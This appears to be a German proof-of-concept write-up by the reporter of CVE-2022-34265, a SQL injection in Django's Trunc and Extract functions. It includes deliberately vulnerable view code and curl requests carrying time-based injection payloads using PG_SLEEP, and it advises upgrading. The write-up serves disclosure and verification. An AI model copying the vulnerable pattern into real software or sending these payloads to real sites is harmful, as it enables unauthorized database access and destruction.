
PoC für CVE-2022-34265 (Django)
Start
docker-compose build
docker-compose up -d
Stopp
docker-compose down
Eine Schwachstelle (CVE-2022-34265) in Django wurde am 5. Juli 2022 (US-Zeit) offengelegt. Dieser Artikel beschreibt unsere Diskussion über diese Schwachstelle und die Ergebnisse unserer Verifizierung.
Diese Schwachstelle ist auf eine unsachgemäße Zeichenkettenverarbeitung bei der Ausführung von SQL für die Argumente der Funktionen Trunc und Extract zurückzuführen, die für Datumsdaten in Django verwendet werden. Wenn die Anfrageparameter unverändert im Argument kind von Trunc bzw. im Argument lookup_name von Extract angegeben werden, besteht die Gefahr, dass beliebige SQL-Anweisungen ausgeführt werden können.
Durch Ausnutzung dieser Schwachstelle kann ein Dritter Befehle an die Datenbank senden, um auf unautorisierte Daten zuzugreifen oder die Datenbank zu löschen.
Viele der in der Vergangenheit entdeckten Schwachstellen in Django waren SQL-Injection-Schwachstellen. Wir fragten uns, ob es weitere Schwachstellen wie CVE-2020-7471 geben könnte. Also überprüften wir die Argumente der Datenbankfunktionen der Reihe nach und fanden Argumente, die nicht entschärft worden waren. Takuto Yoshikai (der Autor) meldete dies dem IPA und dem Django-Entwicklungsteam.
Als Ergebnis wurden in dem Release, das CVE-2022-34265 behebt, die folgenden Maßnahmen ergriffen:
vuln/models.py
Wir haben ein Beispiel aus der Django-Dokumentation verwendet, ein Modell für eine Tabelle, die Start- und Endzeit eines Datums aufzeichnet.
from django.db import models
class Experiment(models.Model):
start_datetime = models.DateTimeField()
start_date = models.DateField(null=True, blank=True)
start_time = models.TimeField(null=True, blank=True)
end_datetime = models.DateTimeField(null=True, blank=True)
end_date = models.DateField(null=True, blank=True)
end_time = models.TimeField(null=True, blank=True)
vuln/views.py
from django.http.response import JsonResponse
from datetime import datetime
from django.db.models.functions import Extract, Trunc
from django.db.models import DateTimeField
from vuln.models import Experiment
from django.core import serializers
# /extract/?lookup_name=xxx
def vuln_extract(request):
payload = request.GET.get('lookup_name')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# /trunc/?kind=xxx
def vuln_trunc(request):
payload = request.GET.get('kind')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# Extract
Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
Dies filtert die Jahreszahlen in der Spalte start_datetime von Experiment, die mit dem Jahr, Monat, Tag, der Stunde, Minute, Sekunde usw. von end_datetime übereinstimmen. Von hier aus kann möglicherweise eine SQL-Injection-Schwachstelle ausgelöst werden.
# Trunc
Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
Die Trunc-Funktion wird verwendet, um bestimmte Anteile wie Jahr, Monat, Tag, Stunde, Minute, Sekunde usw. von Datums- und Zeitdaten abzuschneiden. Im obigen Beispiel sind start_datetime und das um den payload-Anteil abgeschnittene start_datetime dieselben Datensätze. Hier könnte die SQL-Injection-Schwachstelle ausgelöst werden.
Um zu überprüfen, ob der Angriff erfolgreich ist, verwenden wir die Anweisung PG_SLEEP, um zu sehen, ob es eine Verzögerung bei der Antwortzeit gibt.
# Normale URL
curl "http://localhost:4131/extract/?lookup_name=year"
curl "http://localhost:4131/trunc/?kind=year"
# URL, bei der die Datenbankanweisung ausgeführt werden kann
curl "http://localhost:4131/extract/?lookup_name=year%27%20FROM%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
curl "http://localhost:4131/trunc/?kind=year%27,%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
Ich habe in PG_SLEEP 5 Sekunden angegeben, aber es scheint, dass PG_SLEEP(5) mehrere Sekunden dauert. Je nach Implementierung und Situation scheint es mehrere Sekunden zu dauern. Da beliebige SQL-Anweisungen ausgeführt werden können, sind gefährliche Angriffe wie das Löschen der Datenbank möglich.
Als Ergebnis unserer Diskussion und Verifizierung haben wir festgestellt, dass je nach Implementierung eine nicht geringe Wahrscheinlichkeit eines erfolgreichen Angriffs besteht. Wir empfehlen, Ihr System so bald wie möglich zu aktualisieren, um im schlimmsten Fall das Risiko von DROP TABLE zu vermeiden.